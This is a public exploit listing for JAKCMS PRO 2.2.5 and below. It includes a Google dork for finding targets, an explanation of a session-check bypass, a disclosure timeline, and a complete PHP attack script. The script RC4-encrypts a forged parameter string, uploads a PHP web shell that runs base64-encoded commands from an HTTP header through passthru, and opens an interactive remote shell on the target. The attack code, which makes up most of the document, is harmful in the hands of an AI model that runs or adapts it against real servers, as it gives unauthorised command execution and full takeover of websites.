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JAKCMS PRO 2.2.5 Arbitrary File Upload

JAKCMS PRO 2.2.5 Arbitrary File Upload
Posted Sep 22, 2011
Authored by EgiX

JAKCMS PRO versions 2.2.5 and below arbitrary file upload exploits that allows for remote command execution.

tags | exploit, remote, arbitrary, file upload
SHA-256 | 53a1b1da7731dc0103e75d2e48b13fa41c546b8838b40a37ce1ecb416158b99e

JAKCMS PRO 2.2.5 Arbitrary File Upload

Change Mirror Download
# Exploit Title: JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit
# Google Dork: "Powered By JAKCMS"
# Date: 21/09/2011
# Author: EgiX
# Software Link: http://www.jakcms.com/
# Version: 2.2.5
# Tested on: Windows 7 and Debian 6.0.2

<?php



/*

--------------------------------------------------------

JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit

--------------------------------------------------------



author..........: EgiX

mail............: n0b0d13s[at]gmail[dot]com

software link...: http://www.jakcms.com/



This PoC was written for educational purpose. Use it at your own risk.

Author will be not responsible for any damage.



[-] vulnerable code in /js/editor/plugins/jakadminexplorer/php/session.php



119. if ($SESSION["check_session_variable"] != "") {

120.

121. // Session Starten

122. session_start();

123.

124. // Session-Variable überprüfen

125. if (!isset($_SESSION[$SESSION["check_session_variable"]])) {

126. include("error.php");

127. die;

128. }

129. }



This authentication schema could be bypassed due to an attacker might be able to start a session accessing to /index.php that set

for e.g. the "jak_lastURL" session variable, so could be set $SESSION["check_session_variable"] to bypass the check at line 125.

Successful exploitation allows attackers access to plugins functionality (see /js/editor/plugins/jakadminexplorer/php/action.php),

in this way an attacker could be able to "delete", "create", "rename" any folder/file into webserver or upload arbitrary files.

The same vulnerability afflicts also jakadminimage, jakusrexplorer and jakusrimage plugins.



[-] Disclosure timeline:



[15/09/2011] - Vulnerability discovered

[16/09/2011] - Issue reported to http://www.jakcms.com/tracker/t/61/security-flaw-imagefilemanager

[16/09/2011] - Vendor fix released in version 2.2.6

[21/09/2011] - Public disclosure



*/



error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);



function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die("\n[-] No response from {$host}:80\n");



fputs($sock, $packet);

return stream_get_contents($sock);

}



function RC4($data)

{

$key = "asvKHQFkoobdwdin4bi30xzb003ufkxS3Fu3HArhBnlIk5pr3D6OGSKvUbso1rtne42VekxwUmOtPgmcA1iYC6lrpWP7HXq6VdB8EnbzR0L8rIHMqSY8mIi0o3ROzZWe";

$s = range(0, 256);

$j = 0;



for ($i = 0; $i < 256; $i++)

{

$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;

$x = $s[$i];

$s[$i] = $s[$j];

$s[$j] = $x;

}



$i = $j = 0;

$ct = "";



for ($y = 0; $y < strlen($data); $y++)

{

$i = ($i + 1) % 256;

$j = ($j + $s[$i]) % 256;

$x = $s[$i];

$s[$i] = $s[$j];

$s[$j] = $x;

$ct .= $data[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);

}



return $ct;

}



print "\n+------------------------------------------------------------------+";

print "\n| JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit by EgiX |";

print "\n+------------------------------------------------------------------+\n";



if ($argc < 3)

{

print "\nUsage......: php $argv[0] <host> <path>\n";

print "\nExample....: php $argv[0] localhost /";

print "\nExample....: php $argv[0] localhost /jakcms/\n";

die();

}



$host = $argv[1];

$path = $argv[2];



$packet = "GET {$path} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Connection: close\r\n\r\n";



preg_match("/PHPSESSID=([^;]*);/i", http_send($host, $packet), $m);

$sid = $m[1];



$payload = "--o0oOo0o\r\n";

$payload .= "Content-Disposition: form-data; name=\"edit1\"\r\n\r\n.php\r\n";

$payload .= "--o0oOo0o\r\n";

$payload .= "Content-Disposition: form-data; name=\"input1\"; filename=\"foo\"\r\n\r\n";

$payload .= "<?php \${error_reporting(0)}.\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?>\r\n";

$payload .= "--o0oOo0o--\r\n";



$get = bin2hex(RC4("id=1&check_session_variable=jak_lastURL&upload_filetype=php&dir={$path}cache/sh"));



$packet = "POST {$path}js/editor/plugins/jakadminexplorer/?action=upload&get={$get} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: PHPSESSID={$sid}\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";

$packet .= "Connection: close\r\n\r\n";

$packet .= $payload;



if (preg_match("/Error/", http_send($host, $packet))) die("\n[-] Upload failed!\n");



$packet = "GET {$path}cache/sh.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";



while(1)

{

print "\njakcms-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}



?>

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